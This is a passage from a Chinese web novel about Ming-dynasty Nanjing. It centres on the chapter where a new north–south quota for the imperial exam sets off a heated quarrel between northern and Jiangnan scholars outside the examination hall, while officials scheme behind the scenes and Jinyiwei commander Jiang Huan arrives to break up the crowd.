马淳满是了然,“位置换了,想保住的东西也换了。当年那点怕死的心,如今都化了怕失势的忧。”
徐妙云彻底没了言语。
她望着案头散落的邸报,像看着一张光怪陆离的名利场图卷。
丈夫的话像一把钝刀子,一点一点,把那图卷背后的筋络都剔了出来。
不是圣贤书毒,也不是人心天生易变。
是那赤条条爬上去的位置,用金玉绫罗换掉了人的心肝,用那“护窝”的本能,盖过了当初踩在田埂上的赤子心。
……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第260章 开恩科!南北榜!打起来了!
人群后方,几个穿着厚重棉布袄子、袖口磨得发亮的北方士子,踮着脚,伸长了脖子看着榜文。
其中一个高大黝黑的汉子猛地倒吸一口冷气,揉了揉眼睛,又用力掐了一下自己的胳膊。
“一百五……兄弟,我没看错吧?”他声音发颤,扯了扯旁边同样呆滞的同乡。
旁边那人回过神来,眼珠子瞪得溜圆,嘴唇哆嗦了几下,才爆出一声压抑到极致的狂喜嘶吼:“没……没错!朝廷给了!真给了!一百五十个名额!天啊!是俺们北榜的!”
他那张被北方风霜吹得粗糙的脸上,涌上激动的红潮,粗糙的大手一把拍在同伴肩上,险些将人拍倒在地:
“有奔头了!咱爷们儿也有大奔头了!”
当然在江南士子悲愤之时,他们如此庆祝,挺招恨的。
一个激愤的江南士子猛地回头,对着那几个狂喜的北方士子劈头盖脸骂去:
“奔头?!你们懂什么经义文章?你们看过几本圣贤书?不过是一群借着朝廷恩典捡便宜的无知匹夫!就凭你们,也配占一百五十个名额?我呸!这是窃取!是劫掠我江南士子的功名!”
他唾沫星子几乎喷到那北方汉子脸上。
那黑脸汉子先是一愣,随即一股压不住的怒气从心底直冲头顶。
“俺们无知匹夫?俺爹娘饿着肚子供俺在煤油灯下写字的时候,你们江南的少爷们在暖阁里红袖添香翻书吧?!俺们在柴火堆里找纸练字的时候,你们用的什么湖笔徽墨?!”
他向前一步,身材带来的压迫感让那江南书生下意识后退了半步。
“这次朝廷开恩,没因为你们江南一群败类勾结着要害皇嗣的事情,把你们南榜的门都关死,已是天大的仁慈!”
“你们还敢叫唤不公?还要踩着俺们北地儿郎往上爬?不让俺们有一丝活路?简直贪得没边了!”
他环顾四周那些穿着光鲜的江南士子,吼声震得人耳膜嗡嗡作响:
“占尽了千年的便宜,吸饱了朝廷的血汗!如今稍微从你们手指缝里漏那么一点渣渣给俺们这些穷地方的娃,就像割了你们的肉?!”
“不公?!”
他重重地啐了一口,眼中是毫不掩饰的鄙夷和委屈混织的痛楚:
“喊冤?问问北边成千上万读不起书、连一张白纸都买不起的后生仔,什么才叫真正的不公!”
这一句句如同冰冷的石头,砸得一群江南士子哑口无言,脸色阵青阵红。
那黑脸汉子身后的北方士子们,默默围拢起来,站在一起。
看向那面皇榜的每一道目光,都充满了敬畏和“誓死效忠”的赤诚。
“这是皇恩浩荡!”一个身材魁梧、黝黑脸膛的北方口音,带着毫不掩饰的鄙夷,“南榜一百还委屈了你们?!怎么不摸摸自己的良心问问!为何分榜?”
“贪得无厌!真该好好问问你们自己!凭什么还让你们取百人!”另一处角落也爆出粗壮的北方口音。
“看看你们自己干了什么好事!谋害天家血脉,该抄家灭族的大罪!皇爷仁厚,开恩科给你们留了条活路!还给一百个名额!你们不知足!羞是不羞?!”
“羞你先人!”几个憋屈到极点的南方年轻士子血气上涌,直接回骂过去。
“放屁!”
上一届的状元江南进士罗允中站了出来。
“我等十年寒窗,朝乾夕惕,所求不过是一个公平!一个以文章才学取士的公平!”罗允中深吸一口气,“昔日同窗共读圣贤,今日只因一纸籍贯,便被人为划线,生生矮了一等!此乃逆圣人之道,背千年取士之常!这恩科……”
他越说越激动,“这根本就不是恩科!这是一刀切在我们读书人脊梁上的利刃!是把文脉公心硬生生割裂的毒计!”
人群死寂了一瞬。
一时无人反驳。
江南举子的委屈和愤怒仿佛找到了出口,不少人情不自禁攥紧了拳头,眼里的火燃得更盛。
“罗状元所言极是!凭什么就因我们生在南边?”
“不公!不公!”
“闹起来!告御状!讨个公道!”
人群边缘,几个穿着布袍、神态却与众不同的中年人交换了一个隐秘而惊恐的眼神。
他们是借着混乱混在愤怒士子中的有心人。
“北榜一百五……”其中一个压低声音,语气透着一丝彻骨的寒意,“朝廷……不是退让。是釜底抽薪。要断我江南百代根脉啊……”
轿内一声极轻的冷哼。
“闹吧。让南边这群书呆子……闹起来。”声音沙哑干涩,像老树皮摩擦,“闹得越响,传到官家耳中越是烦人。套脖子上的绳子……也就收得越快喽!”
贡院外的喧嚣惊涛骇浪般在城东翻卷,渐次扩散。
那鼎沸的怨气与质问穿街过巷,巡城官军早已无声围拢在附近街口。
府衙后堂,花厅内倒是另一番光景。
“蠢材!都是些不知天高地厚的蠢材!”新任吏部张侍郎刚送走一个忧心忡忡的同乡京官,额头青筋突突直跳,回身忍不住低斥出声。
本小章还未完,请点击下一页继续阅读后面精彩内容!“罗允中……一个新晋状元,不知韬光养晦,竟带头啸聚……简直嫌命长!”
一旁坐着的礼部刘主事年纪比他还大些,瘦得颧骨高耸,手里捧着一盏早就凉透的茶。
他呢喃道:“书生意气啊。总以为自己读了几本书,懂得个‘公道人心’,便可指点朝廷法度……”
“意气?”张侍郎猛地止步,“那是火坑!是上面拿捏江南士子的由头!北边刚占了实实在在的便宜,心头怕正不痛快着。那些生员闹这一场,不正好递上现成的刀子?”
他重重坐回太师椅,后背靠实坚硬的紫檀椅背。
停了好一会儿,他才说道:“那些藏在幕后的……心思太毒。”
刘主事沉默片刻:“明面上是断人仕途名额……暗地里……”他眼皮撩了一下,“……怕是要断了我们江南士大夫的根基,给‘那些人’腾位子。”
张侍郎长叹一口气。
能像他们这样明白的人,实在是太少了。
大部分的人还以为江南士族这次赢了。
总算是用互相攀咬的方式,让皇帝妥协了,却没想过,这是妥协吗?这是要他们的命。
这些人怎么就不能冷静一些?
刘主事感觉自己奋斗了这么多年,本来已经为儿孙们铺好的路,好像也开始断裂。
皇帝这一招釜底抽薪,太狠了!
……
他们的声音湮没在更大一波吵闹声中。
几个被释放出来的江南籍官员也躲在人群之后,脸色死灰。
看着那些狂喜的北方士子,再听到那汉子声嘶力竭的质问,他们只觉得一股寒意从脚底板直冲头顶,比诏狱里的铁链还冷。
朝廷哪里是退缩?
这分明是……要换天!
就在贡院门前乱作一团,江南士子被问得哑口又憋屈得想吐血,眼看冲突就要升级时,一阵低沉而整齐的脚步声,陡然从长街尽头响起。
嗒、嗒、嗒……
喧闹的人群猛地一滞,如同被扼住了喉咙的鸭群。
所有目光惊恐地转向声音来处。
锦衣卫!
清一色的褐红缇骑,暗沉的下摆扫过雪泥。
腰间的绣春刀并未出鞘,但那刀鞘本身已让所有人的呼吸都为之冻结。
蒋瓛走在最前,那张覆盖着寒冰的脸上没有任何表情。
他沉默地穿过人群,人群如潮水般向两边仓皇退避,让出一条笔直而冰冷的通道。
他一直走到贡院朱红大门前,在皇榜下方立定。
然后他缓缓转过身。
目光在黑压压的人群脸上扫过。
掠过那些激愤未消的江南士子,也落在那些激动难抑的北方士子身上。
他缓缓说道:“朝廷取士自有法度!不想考者,可离去!耕田也好!教书也罢!谁挡了你们?
“在这里闹,说是不公!无非是害怕自己没机会当官。”
这句话轻飘飘的,但真就是伤害性不大,侮辱性极强!
一句话就让江南士子不好说什么。
因为多说一句,就成了蒋瓛口中,无真才实学者……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。